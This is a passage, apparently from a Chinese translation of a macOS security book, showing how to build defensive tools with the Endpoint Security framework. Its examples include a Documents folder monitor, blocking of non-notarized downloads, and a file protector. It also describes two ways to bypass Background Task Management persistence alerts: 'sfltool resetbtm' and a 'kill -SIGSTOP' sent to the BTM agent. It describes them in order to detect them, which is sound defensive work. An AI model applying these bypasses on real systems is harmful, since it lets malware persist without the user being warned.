列表 9-4 是一个静音反转代码片段,监控已登录用户的 Documents 目录中打开的文件。您可以在 ESPlayground 项目的 muteInvert.m 文件中的 muteInvert 函数找到完整实现。

在第 213 页的“授权事件”中,我们将结合这种方法与授权访问,这是一个有用的保护机制,能够阻止例如勒索软件或恶意软件尝试访问敏感的用户文件。

NSString* consoleUser =
(__bridge_transfer NSString*)SCDynamicStoreCopyConsoleUser(NULL, NULL, NULL); ❶

NSString* docsDirectory =
[NSHomeDirectoryForUser(consoleUser) stringByAppendingPathComponent:@"Documents"];

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_OPEN};

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    // Add code here to handle delivered events.
});

es_unmute_all_target_paths(client); ❷
es_invert_muting(client, ES_MUTE_INVERSION_TYPE_TARGET_PATH); ❸
es_mute_path(client, docsDirectory.UTF8String, ES_MUTE_PATH_TYPE_TARGET_PREFIX); ❹

es_subscribe(client, events, sizeof(events)/sizeof(events[0])); 

列表 9-4:监控用户的 Documents 目录中的文件打开事件

首先,我们动态构建登录用户的 Documents 目录路径。由于 Endpoint Security 代码始终以 root 权限运行,大多数返回当前用户的 API 会直接返回 root。相反,我们使用 SCDynamicStoreCopyConsoleUser API 来获取当前登录到系统的用户名 ❶。请注意,该 API 并不支持自动引用计数(ARC)内存管理功能,因此我们添加了 __bridge_transfer,这样就无需手动释放包含用户名的内存。接下来,我们调用 NSHomeDirectoryForUser 函数获取主目录,并将路径组件 Documents 附加到该目录上。

在定义感兴趣的事件并创建新的 Endpoint Security 客户端之后,代码取消静音所有目标路径 ❷。然后,它调用 es_invert_muting,并传入 ES_MUTE_INVERSION_TYPE_TARGET_PATH 值来反转静音状态 ❸。接下来,代码调用 es_mute_path,传入文档的目录 ❹。由于我们已反转静音, 此 API 指示 Endpoint Security 只传送该目录中发生的事件并忽略其他所有事件。最后,我们调用 es_subscribe 并传入感兴趣的事件,开始接收这些事件的传送。

为了完成此示例,打印出事件内容,正如你会记得的,这些事件会被传送到在 es_new_client 的最后一个参数中指定的 es_handler_block_t 回调块中。列表 9-5 展示了一个内联实现。

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
  ❶ es_string_token_t* procPath = &message->process->executable->path;
  ❷ es_string_token_t* filePath = &message->event.open.file->path;

  ❸ printf("event: ES_EVENT_TYPE_NOTIFY_OPEN\n");
    printf("process: %.*s\n", (int)procPath->length, procPath->data);
    printf("file path: %.*s\n", (int)filePath->length, filePath->data);

}); 

列表 9-5:打印出文件打开的 Endpoint Security 事件

我们提取负责进程的路径。我们始终可以在通过引用传递给处理程序块的消息结构中找到这个进程。为了获取其路径,我们检查进程结构的可执行成员 ❶。接下来,我们提取进程尝试打开的文件的路径。对于 ES_EVENT_TYPE_NOTIFY_OPEN 事件,我们在消息结构的 event 成员 ❷ 中找到这个路径。在提取了负责进程和文件的路径后,我们将其打印出来 ❸。

工具现在应该能检测到对 Documents 目录中文件的任何访问。你可以通过带有 -muteinvert 标志的 ESPlayground 来进行测试。你会看到,除非事件发生在 Documents 中,否则不会显示任何 Endpoint Security 事件。你可以通过在 Finder 中浏览该目录或使用终端(例如,通过 ls 列出目录内容)来触发这些事件:

# **ESPlayground.app/Contents/MacOS/ESPlayground -muteinvert**

ES Playground
Executing 'mute inversion' logic
unmuted all (default) paths
mute (inverted) /Users/Patrick/Documents

event: ES_EVENT_TYPE_NOTIFY_OPEN
process: /System/Library/CoreServices/Finder.app/Contents/MacOS/Finder
file path: /Users/Patrick/Documents

event: ES_EVENT_TYPE_NOTIFY_OPEN
process: /bin/ls
file path: /Users/Patrick/Documents 

如果我们扩展示例代码来监控其他目录,例如浏览器存储其 cookie 的目录,我们就能轻松检测到如 MacStealer 之类的窃取工具!在下一节,我将介绍强大的授权事件类型。### 授权事件

与基于通知的事件不同,后者是 Endpoint Security 客户端在系统上发生某些活动后接收到的,授权事件允许客户端在事件完成之前进行检查并决定是否允许或拒绝事件。这一功能提供了一种机制,帮助构建能够主动检测并阻止恶意活动的安全工具。尽管与授权事件的工作方式与通知事件相似,但也存在一些重要的差异。为了探讨这些差异,我们来深入了解代码。

从概念上讲,我们的目标很简单:设计一个工具,能够阻止来自互联网的未经过公证的程序执行。正如我们所见,绝大多数的 macOS 恶意软件并未经过公证,而合法软件几乎总是经过公证的,这使得这一方法在阻止恶意软件方面非常有效。当用户尝试启动从互联网下载的项目时,我们将在允许执行之前拦截该操作,并检查其公证状态。我们将允许有效公证的项目,并阻止所有其他项目。

在撰写本文时,macOS 的最新版本试图实现相同的检查,但其执行不够严格。首先,直到 macOS 15,如果用户右键点击下载项,操作系统仍然提供运行未公证项目的选项。恶意软件作者当然非常清楚这个漏洞,并经常利用它来执行未经信任的恶意软件。广泛存在的 macOS 广告软件 Shlayer 和许多 macOS 木马都喜欢使用这个技巧。此外,Apple 在 macOS 上防止未公证代码的实现存在许多可被利用的漏洞(如 CVE-2021-30657 和 CVE-2021-30853),使其实际上无效。^(5)

我在 Objective-See 最受欢迎的工具之一 BlockBlock 中实现了一个公证检查,详细讨论请参见第十一章。在公证模式下运行时,该工具会阻止任何未经过公证的下载二进制文件,包括试图利用 CVE-2021-30657 和 CVE-2021-30853 的恶意软件,远在 Apple 发布补丁之前。^(6) 我们将在这里大致遵循 BlockBlock 的方法。请注意,在您自己的实现中,您可能采取一种不那么严格的方法;例如,您可能只会阻止那些用户可能被欺骗执行的未公证项目,而不是阻止所有未公证项目。(在 macOS 15 中,Apple 引入了 ES_EVENT_TYPE_NOTIFY_GATEKEEPER_USER_OVERRIDE 事件,您或许可以利用它来检测这一点。)或者,您可能会收集未公证的二进制文件进行外部分析,或对它们应用本书中提到的其他启发式方法,再决定是否阻止其执行。

创建客户端并订阅事件

在本节中,我们订阅 Endpoint Security 授权事件,然后讨论如何及时响应这些事件。您可以在 ESPlayground 项目的 authorization.m 文件中找到本节中提到的代码的完整实现。

与处理通知事件时一样,我们首先创建一个 Endpoint Security 客户端,指定一个 es_handler_block_t 块,并订阅感兴趣的事件(列表 9-6)。

es_client_t* client = NULL;
❶ es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_EXEC};

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    // Add logic to allow or block processes.
});

es_subscribe(client, events, sizeof(events)/sizeof(events[0])); 

列表 9-6:订阅进程执行的授权事件

为了阻止未授权的进程,我们只需要订阅一个授权事件:ES_EVENT_TYPE_AUTH_EXEC ❶。苹果的开发者文档简洁地描述了它作为任何“请求操作系统授权以执行另一个映像”的进程的事件类型。^(7) 一旦调用 es_subscribe 返回,Endpoint Security 将在任何新进程即将执行时调用我们的代码。

接下来,我们必须向操作系统响应,决定是授权还是拒绝传递的事件。为了响应,我们使用 es_respond_auth_result API,该 API 在 ESClient.h 中定义如下:

es_respond_result_t es_respond_auth_result(es_client_t* _Nonnull client,
const es_message_t* _Nonnull message, es_auth_result_t result, bool cache); 

该函数接受接收到消息的客户端、传递的消息、授权结果以及一个标志,指示是否应该缓存结果。要允许消息,调用此函数并传入 es_auth_result_t 类型的 ES_AUTH_RESULT_ALLOW 值。要拒绝消息,指定 ES_AUTH_RESULT_DENY 值。如果将缓存标志设置为 true,Endpoint Security 将缓存授权决策,意味着来自同一进程的未来事件可能不会触发额外的授权事件。当然,这样做有性能优势,但也有一些重要的细节需要注意。首先,假设你已经缓存了一个进程执行事件的授权决策。即使该进程使用不同的参数执行,也不会生成额外的授权事件,这可能会导致问题,特别是当检测启发式方法依赖于进程参数时。其次,请注意缓存是全局的,意味着如果任何其他 Endpoint Security 客户端没有缓存该事件,你仍然会收到该事件(即使你之前已经缓存了它)。

让我们在列表 9-6 的代码基础上,提取即将启动的进程路径,然后确定如何响应。为了简单起见,在本示例中我们将允许所有进程(列表 9-7)。

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_EXEC};

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
  ❶ es_process_t* process = message->event.exec.target;
  ❷ es_string_token_t* procPath = &process->executable->path;
 printf("\nevent: ES_EVENT_TYPE_AUTH_EXEC\n");
    printf("process: %.*s\n", (int)procPath->length, procPath->data);

  ❸ es_respond_auth_result(client, message, ES_AUTH_RESULT_ALLOW, false);

});

es_subscribe(client, events, sizeof(events)/sizeof(events[0])); 

列表 9-7:处理进程授权事件

在回调块中,我们提取有关即将启动的进程的信息。首先,我们获取指向其 es_process_t 结构体的指针,该结构体与 Endpoint Security 消息中的 es_event_exec_t 结构体一起找到 ❶。从中,我们提取其路径 ❷ 并打印出来。最后,我们调用 es_respond_auth_result API,并使用 ES_AUTH_RESULT_ALLOW 告诉 Endpoint Security 子系统授权该进程的执行 ❸。

注意

ESTypes.h* 中,Apple 指定了一个重要但容易忽视的细节:仅对于文件授权事件(ES_EVENT_TYPE_AUTH_OPEN),你的代码必须通过 es_respond_flags_result 函数提供授权响应,而不是通过 es_respond_auth_result 函数。相同的头文件还指出,在调用 es_respond_flags_result 函数时,应传递 0 来拒绝事件,传递 UINT32_MAX 来允许它。*

让我们运行 ESPlayground 并加上 -authorization 标志,然后启动计算器应用程序:

# **ESPlayground.app/Contents/MacOS/ESPlayground -authorization**

ES Playground
Executing 'authorization' logic

event: ES_EVENT_TYPE_AUTH_EXEC
process: /System/Applications/Calculator.app/Contents/MacOS/Calculator 

我们看到了授权事件,由于我们允许所有进程,Endpoint Security 并不会阻止它。

遵守消息截止时间

响应授权事件时有一个非常重要的注意事项:如果我们错过了响应截止时间,Endpoint Security 将允许事件发生并强制关闭我们的客户端。

Exception Type:      EXC_CRASH (SIGKILL)
Exception Codes:     0x0000000000000000, 0x0000000000000000
Termination Reason:  Namespace ENDPOINTSECURITY, Code 2 EndpointSecurity client
terminated because it failed to respond to a message before its deadline 

从系统和可用性角度来看,这种方法是有道理的。如果程序响应时间过长,整个系统可能会出现延迟,或者更糟糕的是,系统可能会挂起。

es_message_t 结构体中有一个名为 deadline 的字段,告诉我们响应消息的具体时间。头文件中还指出,每个消息的截止时间可能会有所不同,因此我们的代码应该相应地检查每个消息的截止时间。

让我们看看 BlockBlock 的进程监控逻辑是如何处理截止时间的。^(8) 截止时间对于该工具尤其重要,因为它在授权或拒绝未认证的进程之前等待用户的输入,这意味着它面临着可能错过截止时间的实际风险 (Listing 9-8)。

❶ dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
❷ uint64_t deadline = message->deadline - mach_absolute_time();

❸ dispatch_async(dispatch_get_global_queue(QOS_CLASS_DEFAULT, 0), ^{
  ❹ if(0 != dispatch_semaphore_wait(semaphore,
    dispatch_time(DISPATCH_TIME_NOW, machTimeToNanoseconds(deadline)
    - (1 * NSEC_PER_SEC)))) {
      ❺ es_respond_auth_result(client, message, ES_AUTH_RESULT_ALLOW, false);
  }
}); 

Listing 9-8:BlockBlock 处理 Endpoint Security 消息截止时间的方式

首先,代码创建一个信号量 ❶ 并计算截止时间 ❷。由于 Endpoint Security 以绝对时间报告消息截止时间,代码通过将当前时间从截止时间中减去,来计算剩余的时间。接下来,代码提交一个块,在后台队列中异步执行 ❸,该块将消息传递给用户,并在另一个异步块中等待响应。我省略了这部分代码以保持简洁,因为其具体内容不相关。

在另一个异步队列中执行耗时的处理操作使得代码可以在处理完成后发出信号量,从而避免超时,接下来代码会设置超时 ❹。一旦 BlockBlock 向用户发送消息并等待响应,它会调用 dispatch_semaphore_wait 函数,直到某个特定时间前等待信号量。你可能猜到了:该函数会等待直到消息的截止时间前。如果发生超时(意味着用户响应没有发出信号量,而消息截止时间即将到达),代码别无选择,只能响应,默认情况下通过授权该事件 ❺。

请注意,函数返回的 Mach 绝对时间值可能因进程而异,具体取决于它们是本地进程还是被翻译的进程。为了保持一致性,你应该应用时间基准,可以使用 mach_timebase_info 函数来获取。Apple 文档通过以下代码演示了这一点,该代码使用时间基准信息将 Mach 时间值转换为纳秒:

uint64_t MachTimeToNanoseconds(uint64_t machTime) {
    uint64_t nanoseconds = 0;
    static mach_timebase_info_data_t sTimebase;
    if (sTimebase.denom == 0)
        (void)mach_timebase_info(&sTimebase);

    nanoseconds = ((machTime * sTimebase.numer) / sTimebase.denom);
    return nanoseconds;
} 

你可能注意到,列表 9-8 中的代码在计算调度信号量的等待时间时使用了这个函数。

注意

如果你异步处理 Endpoint Security 消息,比如向用户请求输入并等待其响应,你必须通过 es_retain_message API 保留消息。完成消息处理后,你必须通过调用 es_release_message 来释放它。

现在你已经了解了如何在考虑时间限制的情况下响应 Endpoint Security 授权事件,你已经准备好查看“阻止非公证进程”难题的最后一块拼图。

检查二进制文件来源

一旦我们为 ES_EVENT_TYPE_AUTH_EXEC 事件注册,系统将在每个新进程生成之前调用传递给 es_new_client 函数的 es_handler_block_t 块。在这个块中,我们将添加逻辑,只拒绝来自远程位置的非公证进程。最后这一部分很重要,因为本地平台的二进制文件虽然没有经过公证,但当然应该允许。按照这个思路,你可能还希望考虑允许来自官方 Mac App Store 的应用程序。尽管这些应用没有经过公证,但它们已经通过了类似的且(希望)严格的 Apple 审核流程。

为了确定进程的二进制文件是否来自远程位置,我们将依赖 macOS 来检查二进制文件是否被转移或具有 com.apple.quarantine 扩展属性。如果其中任一条件为真,操作系统已将该项目标记为来自远程来源。转移是 macOS 最近版本中内置的安全缓解措施,旨在防止相对动态库劫持攻击。^(9)

简而言之,当用户尝试从下载的磁盘映像或 ZIP 文件中打开可执行项目时,macOS 会首先创建一个包含该项目副本的随机只读挂载点,然后启动这个副本。如果我们能够编程确定一个即将执行的进程已经被迁移,我们就知道需要对其进行公证检查。

要检查一个项目是否已被迁移,我们可以调用私有的 SecTranslocateIsTranslocatedURL API。此函数接受多个参数,包括要检查的项目路径和一个布尔标志指针,如果 macOS 已经迁移该项目,它会将该标志设置为 true。因为这个 API 是私有的,所以我们必须在调用它之前动态解析它。列表 9-9 中的代码完成了这两个任务。^(10)

#import <dlfcn.h>
BOOL isTranslocated(NSString* path) {
    BOOL isTranslocated = NO;
    void* handle = dlopen(
    "/System/Library/Frameworks/Security.framework/Security", RTLD_LAZY); ❶

    BOOL (*SecTranslocateIsTranslocatedURL)(CFURLRef path, bool* isTranslocated,
    CFErrorRef* __nullable error) = dlsym(handle,"SecTranslocateIsTranslocatedURL"); ❷

    SecTranslocateIsTranslocatedURL((__bridge CFURLRef)([NSURL fileURLWithPath:path]),
    &isTranslocated, NULL); ❸

    return isTranslocated;
} 

列表 9-9:一个辅助函数,使用私有 API 来判断一个项目是否已被迁移

该代码加载了 Security 框架,框架中包含 SecTranslocateIsTranslocatedURL API ❶。加载后,代码通过 dlsym ❷ 解析该 API,然后使用检查项目路径的方式调用该函数 ❸。当 API 返回时,它会将第二个参数设置为迁移检查的结果。

检查一个项目是否具有远程来源的另一种方法是通过 com.apple.quarantine 扩展属性,这个属性由负责下载该项目的应用程序或操作系统直接添加(如果应用程序在其Info.plist文件中设置了 LSFileQuarantineEnabled = 1)。你可以通过各种私有的 qtn_file_* API 来编程获取项目的扩展属性值,这些 API 位于 /usr/lib/system/libquarantine.dylib,但你必须先动态解析这些函数。调用它们的方式如下:

1.  调用 qtn_file_alloc 来分配一个 _qtn_file 结构。

2.  使用 _qtn_file 指针和你希望获取其隔离属性的项目路径调用 qtn_file_init_with_path API。如果此函数返回 QTN_NOT_QUARANTINED (-1),则表示该项目没有被隔离。

3.  使用 _qtn_file 指针调用 qtn_file_get_flags API 来获取 com.apple.quarantine 扩展属性的实际值。

4.  如果 qtn_file_init_with_path 函数未返回 QTN_NOT_QUARANTINED,你就知道该项目已被隔离,但你可能还想检查用户是否之前批准了该文件。你可以通过检查 qtn_file_get_flags 返回的值来确定这一点,其中可能会设置 QTN_FLAG_USER_APPROVED (0x0040) 位。

5.  确保通过调用 qtn_file_free 释放 _qtn_file 结构。

在某些情况下,macOS 没有正确地将非本地项目归类为来自远程源。例如,在 CVE-2023-27951 中,操作系统未能应用 com.apple.quarantine 扩展属性。在生产代码中,因此你可能希望采取更全面的方法来确定二进制文件的来源。例如,你可以创建一个文件监视器来检测二进制文件下载,并将这些二进制文件提交给认证检查,或者直接阻止任何未经过认证的非平台二进制文件。并且,是的,恶意软件(在启动后)可能会删除它已经下载的其他组件的隔离扩展属性,从而绕过 macOS 或 BlockBlock 的检查。因此,你也可能希望订阅 ES_EVENT_TYPE_AUTH_DELETEEXTATTR Endpoint Security 事件,它能够检测并阻止隔离属性的删除。

现在我们可以确定一个进程是否来自远程来源,接下来我们必须检查支撑该进程的二进制文件是否已进行认证。正如你在 第一章 中看到的,这和调用 SecStaticCodeCheckValidity API 并传入适当的要求字符串一样简单。

如果 BlockBlock 确认即将执行的进程来自远程来源且未经过认证,它将提示用户输入意见。如果用户决定该进程是,例如,不可信或未被识别,BlockBlock 将调用 Listing 9-10 中的功能来阻止它。

-(BOOL)block:(Event*)event {
    BOOL blocked = NO;

    if(YES != (blocked = [self respond:event action:ES_AUTH_RESULT_DENY])) {
        os_log_error(logHandle, "ERROR: failed to block %{public}@", event.process.name);
    }

    return blocked;
} 

Listing 9-10:阻止不可信进程

它调用了 respond:action: 方法,并使用了 ES_AUTH_RESULT_DENY 常量。如果我们查看这个方法,会发现其核心其实只是调用了 es_respond_auth_result,将指定的允许或拒绝动作传递给 Endpoint Security 子系统。而且,由于传入了 true 作为缓存标志,后续执行相同的进程时不会生成额外的授权事件,从而显著提高性能(Listing 9-11)。

-(BOOL)respond:(Event*)event action:(es_auth_result_t)action {
    ...
    result = es_respond_auth_result(event.esClient, event.esMessage, action, true);
    ...
} 

Listing 9-11:将操作传递给 Endpoint Security

要实现通过 Endpoint Security 阻止未经过认证的进程,参见 BlockBlock 的进程插件。^(11)

阻止后台任务管理绕过

让我们考虑另一个例子,这次使用 Endpoint Security 授权事件来检测恶意软件,重点是尝试利用绕过内置 macOS 安全机制的漏洞。虽然这些漏洞的使用尚未广泛传播,但 macOS 中新安全机制的引入迫使恶意软件采用新的技术来实现其恶意目标,因此监控这些漏洞可能有助于你的检测。

在第五章中,我讨论了 macOS 新的后台任务管理(BTM)数据库,它用于监控持久化项目,生成警告并全局跟踪其行为。对于希望持久化的恶意软件来说,BTM 是一个问题,因为用户在恶意软件安装时会收到警告。例如,图 9-1 展示了用户在 DazzleSpy 恶意软件作为名为 softwareupdate 的二进制文件持久安装时收到的 BTM 警告。

图 9-1:BTM 警告,显示名为 softwareupdate 的二进制文件已被持久安装

幸运的是,通过我的研究,我发现 Apple 原始实现的 BTM 容易通过多种方式被绕过,从而阻止了这个警告。本节将详细介绍两种绕过方法,并展示如何利用 Endpoint Security 检测和阻止这些绕过。请注意,我已将这些问题反馈给 Apple,至少在 macOS 15(可能早期版本的 macOS 也已修复)中,似乎已得到修复。即便如此,您仍然可以根据本节中的代码检测其他本地漏洞。

手动重置数据库

绕过 BTM 的第一个方法非常简单。回想一下,第五章讨论了与 macOS 一起发布的 sfltool,用户可以通过它与 BTM 数据库进行交互。它的一个命令行选项 resetbtm 会清空数据库,并导致其重建。然而,一旦运行此命令,系统不会发送后续的 BTM 警告,直到系统重启,尽管某些项目仍然可能存在。

因此,恶意软件如果想避免触发 BTM 警告,可以在执行其持久化代码之前,简单地执行带有 resetbtm 参数的 sfltool 命令。虽然这个技术在实际中尚未被观察到,但它非常容易被利用,如以下日志信息所示,这些信息是在手动重置数据库后生成的。日志显示,尽管 BTM 守护进程检测到 DazzleSpy 的持久化安装,但它决定不发布警告:

% **log stream**
backgroundtaskmanagementd: registerLaunchItem: result=no error, new item
disposition=[enabled, allowed, visible, not notified],
identifier=com.apple.softwareupdate,
url=file:///Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist
backgroundtaskmanagementd: **should post advisory=false** for uid=501, id=
6ED3BEBC-8D60-45ED-8BCC-E0163A8AA806, item=softwareupdate 

在正常情况下,用户没有理由重置 BTM 数据库。因此,我们可以通过订阅 Endpoint Security 进程事件,并阻止在执行带有 resetbtm 参数的 sfltool 时启动它,从而防止此漏洞的利用。

为了检测进程的执行,包括 sfltool,我们可以注册 第八章中讨论的 ES_EVENT_TYPE_NOTIFY_EXEC 事件。我们可以通过 es_process_t 进程结构访问进程路径,并通过 es_exec_arg_count 和 es_exec_arg 辅助函数提取其参数。一旦提取了路径和参数,简单的字符串比较应该能告诉我们,报告的进程事件是否是由带有 resetbtm 参数的 sfltool 引发的。

当然,你很可能想要阻止这些事件,你可以通过注册 ES_EVENT_TYPE_AUTH_EXEC 来做到这一点。此事件的回调将被调用,并携带一个包含指向 es_process_t 结构的 Endpoint Security 消息。从中,你可以提取即将生成的进程的路径和参数,然后通过调用 es_respond_auth_result 函数,并传递 ES_AUTH_RESULT_DENY 的值来阻止进程的生成。

停止信号

在研究 BTM 子系统时,我遇到了另一种轻微的绕过其警报的方式^(12)。简而言之,恶意软件可以轻松地向负责向用户显示持久性提示消息的 BTM 代理发送一个停止(SIGSTOP)信号。一旦该组件停止,恶意软件便可以在不引起用户警觉的情况下持久存在。为了检测并阻止这种绕过,我们可以再次依靠 Endpoint Security。由于在正常情况下用户不太可能向 BTM 代理发送 SIGSTOP 信号,我们可以假设这个事件是恶意软件试图对该子系统进行攻击。

在我演讲后的第二年,Sentinel One 的研究人员发现了恶意软件采取了类似(但不那么优雅)的方法。在他们的报告中^(13),研究人员指出,恶意代码会不断向 macOS 的通知中心进程发送杀死信号,以阻止 BTM 的持久性提示消息,而该消息通常会在恶意软件持久存在时显示。

我们可以通过 ES_EVENT_TYPE_NOTIFY_SIGNAL 事件来检测信号,或者更好的是,通过相应的授权事件 ES_EVENT_TYPE_AUTH_SIGNAL 来完全阻止信号。在 Listing 9-12 中,我们将重点关注后者的任务。

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_SIGNAL};

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    int signal = message->event.signal.sig; ❶
    es_process_t* sourceProcess = message->process; ❷
    es_process_t* targetProcess = message->event.signal.target; ❸

 // Add code to check if signal is a SIGSTOP or SIGKILL being sent to a process
    // involved in showing user notification alerts.

});

es_subscribe(client, events, sizeof(events)/sizeof(events[0])); 

Listing 9-12:订阅信号传递的授权事件

每当一个进程尝试发送信号时,Endpoint Security 将调用回调,并带有一个包含 es_event_signal_t 结构的消息。代码将提取信号的类型❶,以及源进程❷和目标进程❸。

我们可以检查信号是否为 SIGSTOP 或 SIGKILL,且接收信号的进程是否为 BTM 代理或通知中心。如果是,我们只需通过调用 es_respond_auth_result 并传递 ES_AUTH_RESULT_DENY 值来拒绝信号传递(参见 Listing 9-13)。

if((signal == SIGSTOP) || (signal == SIGKILL)) {
    pid_t targetPID = audit_token_to_pid(targetProcess->audit_token);

    if((targetPID == btmAgentPID) || (targetPID == notificationCenterPID)) {
        es_respond_auth_result(client, message, ES_AUTH_RESULT_DENY, false);
    }
} 

Listing 9-13:拒绝可疑的 SIGSTOP 或 SIGKILL 信号

请注意,在代码的其他地方,你可能需要查找并保存 BTM 代理和通知中心进程的进程 ID,因为你不希望每次信号传递时都查找它。你还可能想要记录一条消息,其中包含有关试图发送可疑信号的源进程的信息,或者收集这些信息以便进一步检查。

如果你实现了这段代码,编译并运行它,然后手动尝试通过停止代理来破坏 BTM 子系统的通知,你的操作应该会失败:

% **pgrep BackgroundTaskManagementAgent**
590

% **kill -SIGSTOP 590**
kill: kill 590 failed: operation not permitted 

在终端中,我们获取 BTM 代理的进程 ID(本例中为 590)。然后,我们使用 kill 命令向该代理发送 SIGSTOP 信号。这将触发一个 ES_EVENT_TYPE_AUTH_SIGNAL 事件传递给我们的程序,我们会拒绝它,导致“操作不允许”的消息显示。### 构建文件保护器

我将通过开发一个概念验证的文件保护器来结束对端点安全框架的讨论。您可以在ESPlayground项目的protect.m文件中的保护函数中找到它的完整实现。

我们的代码将监控一个特定目录(例如,用户的主目录或包含浏览器 cookie 的目录),并仅允许授权的进程访问该目录。每当一个进程试图访问该目录中的文件时,端点安全会触发一个授权事件,给予我们的代码机会来仔细检查该进程并决定是否允许它。在这个例子中,我们只会允许平台和已验证的二进制文件,其他的则被阻止。

这个文件保护器在概念上类似于苹果的透明度、同意与控制(TCC),但它增加了另一层保护。毕竟,用户可能天真地将 TCC 权限授予恶意软件,使得先前受保护的文件变得可访问,而恶意软件通常会利用或绕过 TCC 本身,就像 XCSSET 恶意软件的情况一样。^(14) 最后,您可能希望为位于 TCC 保护目录之外的文件提供授权访问(并检测未经授权的访问),例如某些第三方浏览器的 cookie 文件。

在本章之前,我讨论了通过通知事件监控已登录用户的Documents目录。本节中的代码类似,只不过它覆盖了用户的整个主目录,并将感兴趣的事件列表扩展到包括与文件删除尝试相关的事件。最显著的是,这段代码利用了端点安全授权事件来主动阻止不受信任的访问。像往常一样,我们将首先指定感兴趣的端点安全事件,创建端点安全客户端,设置静音反转,最后订阅这些事件(示例 9-14)。

NSString* consoleUser =
(__bridge_transfer NSString*)SCDynamicStoreCopyConsoleUser(NULL, NULL, NULL);

NSString* homeDirectory = NSHomeDirectoryForUser(consoleUser);

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_OPEN, ES_EVENT_TYPE_AUTH_UNLINK}; ❶

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    // Add code here to implement logic to examine process and respond to event.
});

es_unmute_all_target_paths(client); ❷
es_invert_muting(client, ES_MUTE_INVERSION_TYPE_TARGET_PATH);
es_mute_path(client, homeDirectory.UTF8String, ES_MUTE_PATH_TYPE_TARGET_PREFIX); ❸

es_subscribe(client, events, sizeof(events)/sizeof(events[0])); 

示例 9-14:设置端点安全客户端以授权文件访问

几个端点安全授权事件与文件访问相关。在这里,我们使用 ES_EVENT_TYPE_AUTH_OPEN 和 ES_EVENT_TYPE_AUTH_UNLINK ❶,它们使我们能够授权试图打开或删除文件的程序。前者事件可以检测到具有勒索软件或盗窃者能力的多种恶意软件,而后者事件则可能检测并防止具有擦除功能的恶意软件,它们可能试图删除或清除重要文件。

在创建一个新的 Endpoint Security 客户端(我们稍后将编写其处理块)❷之后,代码设置了静音反转 ❸,因为我们只对即将指定的目录中的事件感兴趣。它动态构建了一个指向登录用户主目录的路径,然后调用 es_mute_path API。因为我们已经反转了静音,这个 API 会告诉 Endpoint Security 子系统只传递发生在指定路径中的事件。代码调用 es_subscribe 后,Endpoint Security 将开始通过执行在 es_new_client 函数中指定的处理块来传递事件。

我们该如何实现这样的处理块?为了简单起见,假设我们将允许任何访问(清单 9-15)。

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    switch(message->event_type) {
        case ES_EVENT_TYPE_AUTH_OPEN:
            es_respond_flags_result(client, message, UINT32_MAX, false); ❶
            break;
        case ES_EVENT_TYPE_AUTH_UNLINK:
            es_respond_auth_result(client, message, ES_AUTH_RESULT_ALLOW, false); ❷
            break;
        ...
    }
}); 

清单 9-15:允许所有文件访问

回想一下,对于 ES_EVENT_TYPE_AUTH_OPEN 事件,Apple 文档中指出我们必须使用 es_respond_flags_result 函数 ❶ 来响应。为了告诉 Endpoint Security 子系统允许该事件,我们使用 UINT32_MAX 调用这个函数。对于 ES_EVENT_TYPE_AUTH_UNLINK 事件,我们像往常一样使用 es_respond_auth_result 进行响应 ❷。

另一方面,清单 9-16 展示了拒绝在目录中打开或删除文件的代码。

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    switch(message->event_type) {
        case ES_EVENT_TYPE_AUTH_OPEN:
            es_respond_flags_result(client, message, 0, false); ❶
            break;
        case ES_EVENT_TYPE_AUTH_UNLINK:
 es_respond_auth_result(client, message, ES_AUTH_RESULT_DENY, false); ❷
            break;
        ...
    }

}); 

清单 9-16:拒绝所有文件访问

允许所有事件的代码唯一的变化是,我们现在调用 es_respond_flags_result 函数 ❶,将其第三个参数设置为 0,并将 es_respond_auth_result 的值传递为 ES_AUTH_RESULT_DENY ❷。

让我们扩展这段代码,提取负责该事件的进程路径,以及进程尝试打开或删除的文件路径(清单 9-17)。

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    es_string_token_t* filePath = NULL;
    es_string_token_t* procPath = &message->process->executable->path; ❶

    switch(message->event_type) {
        case ES_EVENT_TYPE_AUTH_OPEN:
            filePath = &message->event.open.file->path; ❷
            es_respond_flags_result(client, message, 0, false);
            break;
        case ES_EVENT_TYPE_AUTH_UNLINK:
            filePath = &message->event.unlink.target->path; ❸
            es_respond_auth_result(client, message, ES_AUTH_RESULT_DENY, false);
            break;
        ...
    }
}); 

清单 9-17:提取进程路径和文件路径

我们可以在任何 Endpoint Security 事件的消息结构中的进程成员中找到负责的进程路径 ❶,但其他信息是特定于事件的。因此,我们在每种事件类型的处理块中提取文件。对于 ES_EVENT_TYPE_AUTH_OPEN 事件,我们在 es_event_open_t 结构体中找到它 ❷,而对于 ES_EVENT_TYPE_AUTH_UNLINK 事件,它位于 es_event_unlink_t 结构体中 ❸。

现在我们应该根据某些规则来允许或拒绝文件的打开和删除,具体取决于我们要保护的内容。回想一下,MacStealer 恶意软件试图窃取浏览器的 Cookie。一般来说,除了浏览器,任何第三方进程都不应该访问浏览器的 Cookie。因此,您可能只是想实现一个拒绝规则,并设置一个例外,允许浏览器本身访问。通过进程 ID、路径,或者更好的是,代码签名信息,应该很容易识别是否是浏览器在执行该进程。

如果你在保护用户主目录中的文件,这种“拒绝所有但有例外”方法可能会影响系统的可用性。因此,你可能需要使用启发式方法,比如仅授权公证的应用程序、来自 App Store 的应用程序或平台二进制文件。然而,恶意软件有时会将操作委托给 Shell 命令,而这些命令是平台二进制文件,因此你可能需要检查相关进程的进程层级,以确保它没有被恶意滥用。

在这个例子中,我们通过只允许平台或公证二进制文件访问当前用户的主目录来简化处理(见列表 9-18)。

